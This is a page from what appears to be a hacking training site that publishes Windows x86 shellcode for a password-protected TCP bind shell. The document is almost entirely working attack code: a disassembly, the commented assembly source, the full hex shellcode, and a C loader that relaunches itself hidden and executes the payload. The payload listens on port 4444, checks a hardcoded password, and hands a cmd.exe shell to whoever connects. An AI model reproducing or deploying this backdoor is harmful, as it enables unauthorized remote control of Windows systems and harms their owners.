Windows/x86 - Password Protected TCP Bind Shell -

Ethical Hacking Training Institute
Extreme Hacking | Sadik Shaikh | Cyber Suraksha Abhiyan

Credits: Brother Roziul Hasan Khan

/*

# Title : Windows x86 password protected bind shell tcp shellcode

# size : 637 bytes

# Tested On : Windows 7 ultimate x86 x64

*/

/*

Disassembly of section .text:

00000000 <_start>:

0: 99 cltd

1: 64 8b 42 30 mov %fs:0x30(%edx),%eax

5: 8b 40 0c mov 0xc(%eax),%eax

8: 8b 70 14 mov 0x14(%eax),%esi

b: ad lods %ds:(%esi),%eax

c: 96 xchg %eax,%esi

d: ad lods %ds:(%esi),%eax

e: 8b 78 10 mov 0x10(%eax),%edi

11: 8b 5f 3c mov 0x3c(%edi),%ebx

14: 01 fb add %edi,%ebx

16: 8b 5b 78 mov 0x78(%ebx),%ebx

19: 01 fb add %edi,%ebx

1b: 8b 73 20 mov 0x20(%ebx),%esi

1e: 01 fe add %edi,%esi

00000020 <g>:

20: 42 inc %edx

21: ad lods %ds:(%esi),%eax

22: 01 f8 add %edi,%eax

24: 81 38 47 65 74 50 cmpl $0x50746547,(%eax)

2a: 75 f4 jne 20 <g>

2c: 81 78 04 72 6f 63 41 cmpl $0x41636f72,0x4(%eax)

33: 75 eb jne 20 <g>

35: 81 78 08 64 64 72 65 cmpl $0x65726464,0x8(%eax)

3c: 75 e2 jne 20 <g>

3e: 8b 73 1c mov 0x1c(%ebx),%esi

41: 01 fe add %edi,%esi

43: 8b 0c 96 mov (%esi,%edx,4),%ecx

46: 01 f9 add %edi,%ecx

48: 83 ec 50 sub $0x50,%esp

4b: 8d 34 24 lea (%esp),%esi

4e: 89 0e mov %ecx,(%esi)

50: 99 cltd

51: 68 73 41 41 41 push $0x41414173

56: 88 54 24 02 mov %dl,0x2(%esp)

5a: 68 6f 63 65 73 push $0x7365636f

5f: 68 74 65 50 72 push $0x72506574

64: 68 43 72 65 61 push $0x61657243

69: 8d 14 24 lea (%esp),%edx

6c: 52 push %edx

6d: 57 push %edi

6e: ff d1 call *%ecx

70: 83 c4 10 add $0x10,%esp

73: 89 46 04 mov %eax,0x4(%esi)

76: 99 cltd

77: 68 65 73 73 41 push $0x41737365

7c: 88 54 24 03 mov %dl,0x3(%esp)

80: 68 50 72 6f 63 push $0x636f7250

85: 68 45 78 69 74 push $0x74697845

8a: 8d 14 24 lea (%esp),%edx

8d: 52 push %edx

8e: 57 push %edi

8f: ff 16 call *(%esi)

91: 83 c4 0c add $0xc,%esp

94: 89 46 08 mov %eax,0x8(%esi)

97: 99 cltd

98: 52 push %edx

99: 68 61 72 79 41 push $0x41797261

9e: 68 4c 69 62 72 push $0x7262694c

a3: 68 4c 6f 61 64 push $0x64616f4c

a8: 8d 14 24 lea (%esp),%edx

ab: 52 push %edx

ac: 57 push %edi

ad: ff 16 call *(%esi)

af: 83 c4 0c add $0xc,%esp

b2: 99 cltd

b3: 68 6c 6c 6c 6c push $0x6c6c6c6c

b8: 88 54 24 02 mov %dl,0x2(%esp)

bc: 68 33 32 2e 64 push $0x642e3233

c1: 68 77 73 32 5f push $0x5f327377

c6: 8d 14 24 lea (%esp),%edx

c9: 52 push %edx

ca: ff d0 call *%eax

cc: 83 c4 0c add $0xc,%esp

cf: 97 xchg %eax,%edi

d0: 8b 5f 3c mov 0x3c(%edi),%ebx

d3: 01 fb add %edi,%ebx

d5: 8b 5b 78 mov 0x78(%ebx),%ebx

d8: 01 fb add %edi,%ebx

da: 8b 5b 1c mov 0x1c(%ebx),%ebx

dd: 01 fb add %edi,%ebx

df: 99 cltd

e0: 66 ba c8 01 mov $0x1c8,%dx

e4: 8b 04 13 mov (%ebx,%edx,1),%eax

e7: 01 f8 add %edi,%eax

e9: 89 46 0c mov %eax,0xc(%esi)

ec: 8b 43 50 mov 0x50(%ebx),%eax

ef: 01 f8 add %edi,%eax

f1: 89 46 10 mov %eax,0x10(%esi)

f4: 8b 43 04 mov 0x4(%ebx),%eax

f7: 01 f8 add %edi,%eax

f9: 89 46 14 mov %eax,0x14(%esi)

fc: 8b 03 mov (%ebx),%eax

fe: 01 f8 add %edi,%eax

100: 89 46 18 mov %eax,0x18(%esi)

103: 8b 43 30 mov 0x30(%ebx),%eax

106: 01 f8 add %edi,%eax

108: 89 46 1c mov %eax,0x1c(%esi)

10b: 8b 43 08 mov 0x8(%ebx),%eax

10e: 01 f8 add %edi,%eax

110: 89 46 20 mov %eax,0x20(%esi)

113: 8b 43 3c mov 0x3c(%ebx),%eax

116: 01 f8 add %edi,%eax

118: 89 46 24 mov %eax,0x24(%esi)

11b: 66 ba 88 01 mov $0x188,%dx

11f: 8b 04 13 mov (%ebx,%edx,1),%eax

122: 01 f8 add %edi,%eax

124: 89 46 28 mov %eax,0x28(%esi)

127: 8b 43 48 mov 0x48(%ebx),%eax

12a: 01 f8 add %edi,%eax

12c: 89 46 2c mov %eax,0x2c(%esi)

12f: 99 cltd

130: 8d 4e 30 lea 0x30(%esi),%ecx

133: c6 01 02 movb $0x2,(%ecx)

136: 66 c7 41 02 11 5c movw $0x5c11,0x2(%ecx)

13c: 89 51 04 mov %edx,0x4(%ecx)

13f: 89 51 08 mov %edx,0x8(%ecx)

142: 89 51 0c mov %edx,0xc(%ecx)

145: 8d 4e 40 lea 0x40(%esi),%ecx

148: c7 01 45 6e 74 65 movl $0x65746e45,(%ecx)

14e: c7 41 04 72 20 70 61 movl $0x61702072,0x4(%ecx)

155: c7 41 08 73 73 20 63 movl $0x63207373,0x8(%ecx)

15c: c7 41 0c 6f 64 65 3a movl $0x3a65646f,0xc(%ecx)

163: 99 cltd

164: 66 ba 90 01 mov $0x190,%dx

168: 29 d4 sub %edx,%esp

16a: 8d 0c 24 lea (%esp),%ecx

16d: 83 c2 72 add $0x72,%edx

170: 51 push %ecx

171: 52 push %edx

172: ff 56 0c call *0xc(%esi)

175: 99 cltd

176: 52 push %edx

177: 52 push %edx

178: 52 push %edx

179: b2 06 mov $0x6,%dl

17b: 52 push %edx

17c: 99 cltd

17d: 42 inc %edx

17e: 52 push %edx

17f: 42 inc %edx

180: 52 push %edx

181: ff 56 28 call *0x28(%esi)

184: 97 xchg %eax,%edi

185: 99 cltd

186: 42 inc %edx

187: 52 push %edx

188: 8d 0c 24 lea (%esp),%ecx

18b: 42 inc %edx

18c: 52 push %edx

18d: 51 push %ecx

18e: 83 c2 02 add $0x2,%edx

191: 52 push %edx

192: 99 cltd

193: 66 ba ff ff mov $0xffff,%dx

197: 52 push %edx

198: 57 push %edi

199: ff 56 10 call *0x10(%esi)

19c: 99 cltd

19d: b2 10 mov $0x10,%dl

19f: 52 push %edx

1a0: 8d 4e 30 lea 0x30(%esi),%ecx

1a3: 52 push %edx

1a4: 51 push %ecx

1a5: 57 push %edi

1a6: ff 56 14 call *0x14(%esi)

1a9: 99 cltd

1aa: 42 inc %edx

1ab: 52 push %edx

1ac: 57 push %edi

1ad: ff 56 1c call *0x1c(%esi)

1b0: 99 cltd

1b1: 8d 5e 30 lea 0x30(%esi),%ebx

1b4: 89 13 mov %edx,(%ebx)

1b6: 89 53 04 mov %edx,0x4(%ebx)

1b9: 89 53 08 mov %edx,0x8(%ebx)

1bc: 89 53 0c mov %edx,0xc(%ebx)

000001bf <a>:

1bf: 99 cltd

1c0: b2 10 mov $0x10,%dl

1c2: 52 push %edx

1c3: 8d 0c 24 lea (%esp),%ecx

1c6: 8d 5e 30 lea 0x30(%esi),%ebx

1c9: 51 push %ecx

1ca: 53 push %ebx

1cb: 57 push %edi

1cc: ff 56 18 call *0x18(%esi)

1cf: 99 cltd

1d0: 50 push %eax

1d1: 52 push %edx

1d2: b2 10 mov $0x10,%dl

1d4: 52 push %edx

1d5: 8d 4e 40 lea 0x40(%esi),%ecx

1d8: 51 push %ecx

1d9: 50 push %eax

1da: ff 56 2c call *0x2c(%esi)

1dd: 58 pop %eax

1de: 89 c3 mov %eax,%ebx

1e0: 99 cltd

1e1: 52 push %edx

1e2: b2 10 mov $0x10,%dl

1e4: 52 push %edx

1e5: 8d 4e 40 lea 0x40(%esi),%ecx

1e8: 51 push %ecx

1e9: 50 push %eax

1ea: ff 56 24 call *0x24(%esi)

1ed: 8d 4e 40 lea 0x40(%esi),%ecx

1f0: 81 39 64 61 6d 6e cmpl $0x6e6d6164,(%ecx)

1f6: 75 5e jne 256 <kick_out>

1f8: 81 79 04 5f 69 74 21 cmpl $0x2174695f,0x4(%ecx)

1ff: 75 55 jne 256 <kick_out>

201: 81 79 08 24 24 23 23 cmpl $0x23232424,0x8(%ecx)

208: 75 4c jne 256 <kick_out>

20a: 81 79 0c 40 3b 2a 23 cmpl $0x232a3b40,0xc(%ecx)

211: 75 43 jne 256 <kick_out>

213: 89 df mov %ebx,%edi

215: 83 ec 10 sub $0x10,%esp

218: 8d 1c 24 lea (%esp),%ebx

21b: 99 cltd

21c: 57 push %edi

21d: 57 push %edi

21e: 57 push %edi

21f: 52 push %edx

220: 52 push %edx

221: b2 ff mov $0xff,%dl

223: 42 inc %edx

224: 52 push %edx

225: 99 cltd

226: 52 push %edx

227: 52 push %edx

228: 52 push %edx

229: 52 push %edx

22a: 52 push %edx

22b: 52 push %edx

22c: 52 push %edx

22d: 52 push %edx

22e: 52 push %edx

22f: 52 push %edx

230: b2 44 mov $0x44,%dl

232: 52 push %edx

233: 8d 0c 24 lea (%esp),%ecx

236: 99 cltd

237: 68 63 6d 64 41 push $0x41646d63

23c: 88 54 24 03 mov %dl,0x3(%esp)

240: 8d 04 24 lea (%esp),%eax

243: 53 push %ebx

244: 51 push %ecx

245: 52 push %edx

246: 52 push %edx

247: 52 push %edx

248: 42 inc %edx

249: 52 push %edx

24a: 99 cltd

24b: 52 push %edx

24c: 52 push %edx

24d: 50 push %eax

24e: 52 push %edx

24f: ff 56 04 call *0x4(%esi)

252: 50 push %eax

253: ff 56 08 call *0x8(%esi)

00000256 <kick_out>:

256: 53 push %ebx

257: ff 56 20 call *0x20(%esi)

25a: 8d 4e 40 lea 0x40(%esi),%ecx

25d: c7 01 45 6e 74 65 movl $0x65746e45,(%ecx)

263: c7 41 04 72 20 70 61 movl $0x61702072,0x4(%ecx)

26a: c7 41 08 73 73 20 63 movl $0x63207373,0x8(%ecx)

271: c7 41 0c 6f 64 65 3a movl $0x3a65646f,0xc(%ecx)

278: e9 42 ff ff ff jmp 1bf <a>

*/

/*

section .text

global _start

_start:

cdq

mov eax,[fs:edx+0x30] ;PEB

mov eax,[eax+0xc] ;PEB.Ldr

mov esi,[eax+0x14] ;PEB.Ldr->InMemOrderModuleList

lodsd

xchg esi,eax

lodsd

mov edi,[eax+0x10] ;kernel32.dll base address

mov ebx,[edi+0x3c]

add ebx,edi

mov ebx,[ebx+0x78]

add ebx,edi

mov esi,[ebx+0x20]

add esi,edi

g:

inc edx

lodsd

add eax,edi

cmp dword [eax],'GetP'

jne g

cmp dword [eax+4],'rocA'

jne g

cmp dword [eax+8],'ddre'

jne g

mov esi,[ebx+0x1c]

add esi,edi

mov ecx,[esi+edx*4]

add ecx,edi

sub esp,80

lea esi,[esp]

mov [esi],dword ecx ;GetProcAddress() 0

;-----------------------

;address CreateProcessA()

cdq

push 0x41414173

mov [esp+2],byte dl

push 0x7365636f

push 0x72506574

push 0x61657243

lea edx,[esp]

push edx

push edi

call ecx

;----------------------

add esp,16

mov [esi+4],dword eax ;CreateProcessA() 4

;-------------------------------

;address ExitProcess()

cdq

push 0x41737365

mov [esp+3],byte dl

push 0x636f7250

push 0x74697845

lea edx,[esp]

push edx

push edi

call [esi]

;-------------------------------

add esp,12

mov [esi+8],dword eax ;ExitProcess() 8

;----------------------------------

cdq

push edx

push 0x41797261

push 0x7262694c

push 0x64616f4c

lea edx,[esp]

push edx

push edi

call [esi]

add esp,12

;------------------------

;loading ws2_32.dll

cdq

push 0x6c6c6c6c

mov [esp+2],byte dl

push 0x642e3233

push 0x5f327377

lea edx,[esp]

push edx

call eax

;---------------------------------

add esp,12

xchg edi,eax

mov ebx,[edi+0x3c]

add ebx,edi

mov ebx,[ebx+0x78]

add ebx,edi

mov ebx,[ebx+0x1c]

add ebx,edi

cdq

mov dx,456

mov eax,[ebx+edx]

add eax,edi

mov [esi+12],dword eax ;WSAStartup() 12

mov eax,[ebx+80]

add eax,edi

mov [esi+16],dword eax ;setsockopt() 16

mov eax,[ebx+4]

add eax,edi

mov [esi+20],dword eax ;bind() 20

mov eax,[ebx]

add eax,edi

mov [esi+24],dword eax ;accept() 24

mov eax,[ebx+48]

add eax,edi

mov [esi+28],dword eax ;listen() 28

mov eax,[ebx+8]

add eax,edi

mov [esi+32],dword eax ;closesocket() 32

mov eax,[ebx+60]

add eax,edi

mov [esi+36],dword eax ;recv() 36

mov dx,392

mov eax,[ebx+edx]

add eax,edi

mov [esi+40],dword eax ;WSASocketA() 40

mov eax,[ebx+72]

add eax,edi

mov [esi+44],dword eax ;send() 44

;---------------------------------

cdq

lea ecx,[esi+48]

mov [ecx],byte 2

mov [ecx+2],word 0x5c11

mov [ecx+4],edx

mov [ecx+8],edx

mov [ecx+12],edx

lea ecx,[esi+64]

mov [ecx],dword 'Ente'

mov [ecx+4],dword 'r pa'

mov [ecx+8],dword 'ss c'

mov [ecx+12],dword 'ode:'

;-----------------------------------

;WSAStartup(514,&WSADATA)

cdq

mov dx,400

sub esp,edx

lea ecx,[esp]

add edx,114

push ecx

push edx

call [esi+12]

;--------------------------------

;---------------------------

;;WSASocketA(2,1,6,0,0,0)

cdq

push edx

mov dl,6

push edx

cdq

inc edx

push edx

inc edx

push edx

call [esi+40]

xchg edi,eax ;SOCKET

;-------------------------------------

;setsockopt(SOCKET,0xffff,4,&1,2)

cdq

inc edx

push edx

lea ecx,[esp]

inc edx

push edx

push ecx

add edx,2

push edx

cdq

mov dx,0xffff

push edx

push edi

call [esi+16]

;----------------------

;bind(SOCKET,(struct sockaddr *)&struct sockaddr_in,16)

cdq

mov dl,16

push edx

lea ecx,[esi+48]

push edx

push ecx

push edi

call [esi+20]

;----------------------------

;listen(SOCKET,1)

cdq

inc edx

push edx

push edi

call [esi+28]

cdq

lea ebx,[esi+48]

mov [ebx],edx

mov [ebx+4],edx

mov [ebx+8],edx

mov [ebx+12],edx

a:

;-----------------------------

;accept(SOCKET,(struct sockaddr *)&struct sockaddr_in,&16)

cdq

mov dl,16

push edx

lea ecx,[esp]

lea ebx,[esi+48]

push ecx

push ebx

push edi

call [esi+24]

;---------------------------------

;send(SOCKET,char *a[],16,0)

cdq

push eax

push edx

mov dl,16

push edx

lea ecx,[esi+64]

push ecx

push eax

call [esi+44]

;-----------------------

pop eax

;recv(SOCKET,char *a[],16,0)

mov ebx,eax

cdq

push edx

mov dl,16

push edx

lea ecx,[esi+64]

push ecx

push eax

call [esi+36]

;----------------------------------

lea ecx,[esi+64]

cmp dword [ecx],'damn'

jne kick_out

cmp dword [ecx+4],'_it!'

jne kick_out

cmp dword [ecx+8],'$$##'

jne kick_out

cmp dword [ecx+12],'@;*#'

jne kick_out

;password-> damn_it!$$##@;*#

mov edi,ebx

sub esp,16

lea ebx,[esp]

cdq

push edi

push edx

mov dl,255

inc edx

push edx

cdq

push edx

mov dl,68

push edx

lea ecx,[esp]

cdq

push 'cmdA'

mov [esp+3],byte dl

lea eax,[esp]

;-------------------------------------------------

push ebx

push ecx

push edx

inc edx

push edx

cdq

push edx

push eax

push edx

call [esi+4]

push eax

call [esi+8]

kick_out:

push ebx

call [esi+32]

lea ecx,[esi+64]

mov [ecx],dword 'Ente'

mov [ecx+4],dword 'r pa'

mov [ecx+8],dword 'ss c'

mov [ecx+12],dword 'ode:'

jmp a

*/

#include<windows.h>

#include<stdio.h>

#include<shellapi.h>

#include<stdlib.h>

char shellcode[]="\x99\x64\x8b\x42\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x78\x10\x8b\x5f\x3c\x01\xfb\x8b\x5b\x78\x01\xfb\x8b\

x73\x20\x01\xfe\x42\xad\x01\xf8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\

xe2\x8b\x73\x1c\x01\xfe\x8b\x0c\x96\x01\xf9\x83\xec\x50\x8d\x34\x24\x89\x0e\x99\x68\x73\x41\x41\x41\x88\x54\x24\x02\x68\x6f\x63\x65\

x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x8d\x14\x24\x52\x57\xff\xd1\x83\xc4\x10\x89\x46\x04\x99\x68\x65\x73\x73\x41\x88\x54\x24\

x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x8d\x14\x24\x52\x57\xff\x16\x83\xc4\x0c\x89\x46\x08\x99\x52\x68\x61\x72\x79\x41\x68\x4c\

x69\x62\x72\x68\x4c\x6f\x61\x64\x8d\x14\x24\x52\x57\xff\x16\x83\xc4\x0c\x99\x68\x6c\x6c\x6c\x6c\x88\x54\x24\x02\x68\x33\x32\x2e\x64\

x68\x77\x73\x32\x5f\x8d\x14\x24\x52\xff\xd0\x83\xc4\x0c\x97\x8b\x5f\x3c\x01\xfb\x8b\x5b\x78\x01\xfb\x8b\x5b\x1c\x01\xfb\x99\x66\xba\

xc8\x01\x8b\x04\x13\x01\xf8\x89\x46\x0c\x8b\x43\x50\x01\xf8\x89\x46\x10\x8b\x43\x04\x01\xf8\x89\x46\x14\x8b\x03\x01\xf8\x89\x46\x18\

x8b\x43\x30\x01\xf8\x89\x46\x1c\x8b\x43\x08\x01\xf8\x89\x46\x20\x8b\x43\x3c\x01\xf8\x89\x46\x24\x66\xba\x88\x01\x8b\x04\x13\x01\xf8\

x89\x46\x28\x8b\x43\x48\x01\xf8\x89\x46\x2c\x99\x8d\x4e\x30\xc6\x01\x02\x66\xc7\x41\x02\x11\x5c\x89\x51\x04\x89\x51\x08\x89\x51\x0c\

x8d\x4e\x40\xc7\x01\x45\x6e\x74\x65\xc7\x41\x04\x72\x20\x70\x61\xc7\x41\x08\x73\x73\x20\x63\xc7\x41\x0c\x6f\x64\x65\x3a\x99\x66\xba\

x90\x01\x29\xd4\x8d\x0c\x24\x83\xc2\x72\x51\x52\xff\x56\x0c\x99\x52\x52\x52\xb2\x06\x52\x99\x42\x52\x42\x52\xff\x56\x28\x97\x99\x42\

x52\x8d\x0c\x24\x42\x52\x51\x83\xc2\x02\x52\x99\x66\xba\xff\xff\x52\x57\xff\x56\x10\x99\xb2\x10\x52\x8d\x4e\x30\x52\x51\x57\xff\x56\

x14\x99\x42\x52\x57\xff\x56\x1c\x99\x8d\x5e\x30\x89\x13\x89\x53\x04\x89\x53\x08\x89\x53\x0c\x99\xb2\x10\x52\x8d\x0c\x24\x8d\x5e\x30\

x51\x53\x57\xff\x56\x18\x99\x50\x52\xb2\x10\x52\x8d\x4e\x40\x51\x50\xff\x56\x2c\x58\x89\xc3\x99\x52\xb2\x10\x52\x8d\x4e\x40\x51\x50\

xff\x56\x24\x8d\x4e\x40\x81\x39\x64\x61\x6d\x6e\x75\x5e\x81\x79\x04\x5f\x69\x74\x21\x75\x55\x81\x79\x08\x24\x24\x23\x23\x75\x4c\x81\

x79\x0c\x40\x3b\x2a\x23\x75\x43\x89\xdf\x83\xec\x10\x8d\x1c\x24\x99\x57\x57\x57\x52\x52\xb2\xff\x42\x52\x99\x52\x52\x52\x52\x52\x52\

x52\x52\x52\x52\xb2\x44\x52\x8d\x0c\x24\x99\x68\x63\x6d\x64\x41\x88\x54\x24\x03\x8d\x04\x24\x53\x51\x52\x52\x52\x42\x52\x99\x52\x52\

x50\x52\xff\x56\x04\x50\xff\x56\x08\x53\xff\x56\x20\x8d\x4e\x40\xc7\x01\x45\x6e\x74\x65\xc7\x41\x04\x72\x20\x70\x61\xc7\x41\x08\x73\

x73\x20\x63\xc7\x41\x0c\x6f\x64\x65\x3a\xe9\x42\xff\xff\xff";

int main(int i,char *a[])

{

int mode;

if(i==1)

mode=1;

else

mode=atoi(a[1]);

switch(mode)

{

case 78:

(* (int(*)())shellcode )();

break;

case 1:

ShellExecute(NULL,NULL,a[0],"78",NULL,0);

default:

break;

}

return 0;

}

Recent Posts

Archives

Categories

Pages

Extreme Hacking

Windows/x86 – Password Protected TCP Bind Shell

Share This Story, Choose Your Platform!

Recent Posts

Archives

Categories

Pages

Extreme Hacking